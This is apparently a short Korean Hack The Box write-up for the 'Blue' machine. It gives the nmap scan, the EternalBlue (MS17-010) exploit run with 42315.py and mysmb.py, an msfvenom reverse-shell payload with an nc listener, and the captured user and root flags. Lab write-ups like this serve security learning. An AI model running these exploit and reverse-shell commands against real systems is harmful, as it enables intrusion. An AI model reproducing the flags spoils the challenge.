[HTB] Blue Writeup
포트 스캐닝을 통해 대상 머신에 대한 정보를 수집해보자.
nmap -sC -sS -sV -O -p- 10.129.172.26
RPC 관련해서 많은 포트가 열려있긴 했지만 일단 smb관련 먼저 보기로 했다.
(머신 이름이 Blue어서 이전에 smb 관련하여 이터널블루 취약점을 활용했던게 생각났다)
역시 ms17-010 취약점을 활용하는 문제가 맞는 듯 했다.
이전에 했던것 처럼 mysmb.py를 다운로드하고 exploit을 시도했는데 이전에는 발생하지 않았던 에러가 발생했다.
wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
python 42315.py 10.129.172.26
관련해서 구글링을 하다가 아래 자료를 발견했고, 42315.py 안에 계정정보를 아래와 같이 수정 후 문제를 해결 할 수 있었다.
https://redteamzone.com/EternalBlue/
EternalBlue without Metasploit
EternalBlue Without Metasploit Exploit modification EternalBlue without Metasploit May 31, 2020 Prologue: In this blog post we are going to explore using exploits without Metasploit at all. I figured the best way to do that would be to start with the ever
redteamzone.com
(USERNAME, PASSWORD의 default는 '' 였다.)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 -f exe > exploit.exe
nc -nvlp 1234
FLAG =
[user] 4c546aea7dbee75cbd71de245c8deea9
[root] ff548eb71e920ff6c08843ce9df4e717